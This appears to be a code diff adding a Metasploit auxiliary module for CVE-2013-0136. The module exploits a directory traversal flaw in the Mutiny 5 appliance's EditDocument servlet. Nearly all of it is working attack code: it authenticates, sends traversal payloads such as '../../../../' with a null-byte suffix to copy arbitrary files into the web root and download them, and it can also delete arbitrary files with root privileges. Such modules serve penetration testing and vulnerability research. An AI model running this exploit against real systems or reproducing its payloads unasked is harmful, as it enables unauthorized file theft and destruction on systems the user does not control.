|
| 1 | +## |
| 2 | +# This file is part of the Metasploit Framework and may be subject to |
| 3 | +# redistribution and commercial restrictions. Please see the Metasploit |
| 4 | +# web site for more information on licensing and terms of use. |
| 5 | +# http://metasploit.com/ |
| 6 | +## |
| 7 | + |
| 8 | +require 'msf/core' |
| 9 | + |
| 10 | +class Metasploit3 < Msf::Auxiliary |
| 11 | + |
| 12 | + include Msf::Exploit::Remote::HttpClient |
| 13 | + |
| 14 | + def initialize(info = {}) |
| 15 | + super(update_info(info, |
| 16 | + 'Name' => 'Mutiny 5 Arbitrary File Read and Delete', |
| 17 | + 'Description' => %q{ |
| 18 | + This module exploits the EditDocument servlet from the frontend on the Mutiny 5 |
| 19 | + appliance. The EditDocument servlet provides file operations, such as copy and |
| 20 | + delete, which are affected by a directory traversal vulnerability. Because of this, |
| 21 | + any authenticated frontend user can read and delete arbitrary files from the system |
| 22 | + with root privileges. In order to exploit the vulnerability a valid user (any role) |
| 23 | + in the web frontend is required. The module has been tested successfully on the |
| 24 | + Mutiny 5.0-1.07 appliance. |
| 25 | + }, |
| 26 | + 'Author' => |
| 27 | + [ |
| 28 | + 'juan vazquez' # Metasploit module and initial discovery |
| 29 | + ], |
| 30 | + 'License' => MSF_LICENSE, |
| 31 | + 'References' => |
| 32 | + [ |
| 33 | + [ 'CVE', '2013-0136' ], |
| 34 | + [ 'US-CERT-VU', '701572' ], |
| 35 | + [ 'URL', 'https://community.rapid7.com/community/metasploit/blog/2013/05/15/new-1day-exploits-mutiny-vulnerabilities' ] |
| 36 | + ], |
| 37 | + 'Actions' => |
| 38 | + [ |
| 39 | + ['Read'], |
| 40 | + ['Delete'] |
| 41 | + ], |
| 42 | + 'DefaultAction' => 'Read', |
| 43 | + 'DisclosureDate' => 'May 15 2013')) |
| 44 | + |
| 45 | + register_options( |
| 46 | + [ |
| 47 | + Opt::RPORT(80), |
| 48 | + OptString.new('TARGETURI',[true, 'Path to Mutiny Web Service', '/']), |
| 49 | + OptString.new('USERNAME', [ true, 'The user to authenticate as', '[email protected]' ]), |
| 50 | + OptString.new('PASSWORD', [ true, 'The password to authenticate with', 'password' ]), |
| 51 | + OptString.new('PATH', [ true, 'The file to read or delete' ]), |
| 52 | + ], self.class) |
| 53 | + end |
| 54 | + |
| 55 | + def run |
| 56 | + @peer = "#{rhost}:#{rport}" |
| 57 | + |
| 58 | + print_status("#{@peer} - Trying to login") |
| 59 | + if login |
| 60 | + print_good("#{@peer} - Login successful") |
| 61 | + else |
| 62 | + print_error("#{@peer} - Login failed, review USERNAME and PASSWORD options") |
| 63 | + return |
| 64 | + end |
| 65 | + |
| 66 | + case action.name |
| 67 | + when 'Read' |
| 68 | + read_file(datastore['PATH']) |
| 69 | + when 'Delete' |
| 70 | + delete_file(datastore['PATH']) |
| 71 | + end |
| 72 | + end |
| 73 | + |
| 74 | + def read_file(file) |
| 75 | + |
| 76 | + print_status("#{@peer} - Copying file to Web location...") |
| 77 | + |
| 78 | + dst_path = "/usr/jakarta/tomcat/webapps/ROOT/m/" |
| 79 | + res = send_request_cgi( |
| 80 | + { |
| 81 | + 'uri' => normalize_uri(target_uri.path, "interface", "EditDocument"), |
| 82 | + 'method' => 'POST', |
| 83 | + 'cookie' => "JSESSIONID=#{@session}", |
| 84 | + 'encode_params' => false, |
| 85 | + 'vars_post' => { |
| 86 | + 'operation' => 'COPY', |
| 87 | + 'paths[]' => "../../../../#{file}%00.txt", |
| 88 | + 'newPath' => "../../../..#{dst_path}" |
| 89 | + } |
| 90 | + }) |
| 91 | + |
| 92 | + if res and res.code == 200 and res.body =~ /\{"success":true\}/ |
| 93 | + print_good("#{@peer} - File #{file} copied to #{dst_path} successfully") |
| 94 | + else |
| 95 | + print_error("#{@peer} - Failed to copy #{file} to #{dst_path}") |
| 96 | + end |
| 97 | + |
| 98 | + print_status("#{@peer} - Retrieving file contents...") |
| 99 | + |
| 100 | + res = send_request_cgi( |
| 101 | + { |
| 102 | + 'uri' => normalize_uri(target_uri.path, "m", ::File.basename(file)), |
| 103 | + 'method' => 'GET' |
| 104 | + }) |
| 105 | + |
| 106 | + if res and res.code == 200 |
| 107 | + store_path = store_loot("mutiny.frontend.data", "application/octet-stream", rhost, res.body, file) |
| 108 | + print_good("#{@peer} - File successfully retrieved and saved on #{store_path}") |
| 109 | + else |
| 110 | + print_error("#{@peer} - Failed to retrieve file") |
| 111 | + end |
| 112 | + |
| 113 | + # Cleanup |
| 114 | + delete_file("#{dst_path}#{::File.basename(file)}") |
| 115 | + end |
| 116 | + |
| 117 | + def delete_file(file) |
| 118 | + print_status("#{@peer} - Deleting file #{file}") |
| 119 | + |
| 120 | + res = send_request_cgi( |
| 121 | + { |
| 122 | + 'uri' => normalize_uri(target_uri.path, "interface", "EditDocument"), |
| 123 | + 'method' => 'POST', |
| 124 | + 'cookie' => "JSESSIONID=#{@session}", |
| 125 | + 'vars_post' => { |
| 126 | + 'operation' => 'DELETE', |
| 127 | + 'paths[]' => "../../../../#{file}" |
| 128 | + } |
| 129 | + }) |
| 130 | + |
| 131 | + if res and res.code == 200 and res.body =~ /\{"success":true\}/ |
| 132 | + print_good("#{@peer} - File #{file} deleted") |
| 133 | + else |
| 134 | + print_error("#{@peer} - Error deleting file #{file}") |
| 135 | + end |
| 136 | + end |
| 137 | + |
| 138 | + def login |
| 139 | + |
| 140 | + res = send_request_cgi( |
| 141 | + { |
| 142 | + 'uri' => normalize_uri(target_uri.path, "interface", "index.do"), |
| 143 | + 'method' => 'GET' |
| 144 | + }) |
| 145 | + |
| 146 | + if res and res.code == 200 and res.headers['Set-Cookie'] =~ /JSESSIONID=(.*);/ |
| 147 | + first_session = $1 |
| 148 | + end |
| 149 | + |
| 150 | + res = send_request_cgi( |
| 151 | + { |
| 152 | + 'uri' => normalize_uri(target_uri.path, "interface", "j_security_check"), |
| 153 | + 'method' => 'POST', |
| 154 | + 'cookie' => "JSESSIONID=#{first_session}", |
| 155 | + 'vars_post' => { |
| 156 | + 'j_username' => datastore['USERNAME'], |
| 157 | + 'j_password' => datastore['PASSWORD'] |
| 158 | + } |
| 159 | + }) |
| 160 | + |
| 161 | + if not res or res.code != 302 or res.headers['Location'] !~ /interface\/index.do/ |
| 162 | + return false |
| 163 | + end |
| 164 | + |
| 165 | + res = send_request_cgi( |
| 166 | + { |
| 167 | + 'uri' => normalize_uri(target_uri.path, "interface", "index.do"), |
| 168 | + 'method' => 'GET', |
| 169 | + 'cookie' => "JSESSIONID=#{first_session}" |
| 170 | + }) |
| 171 | + |
| 172 | + if res and res.code == 200 and res.headers['Set-Cookie'] =~ /JSESSIONID=(.*);/ |
| 173 | + @session = $1 |
| 174 | + return true |
| 175 | + end |
| 176 | + |
| 177 | + return false |
| 178 | + end |
| 179 | + |
| 180 | +end |
0 commit comments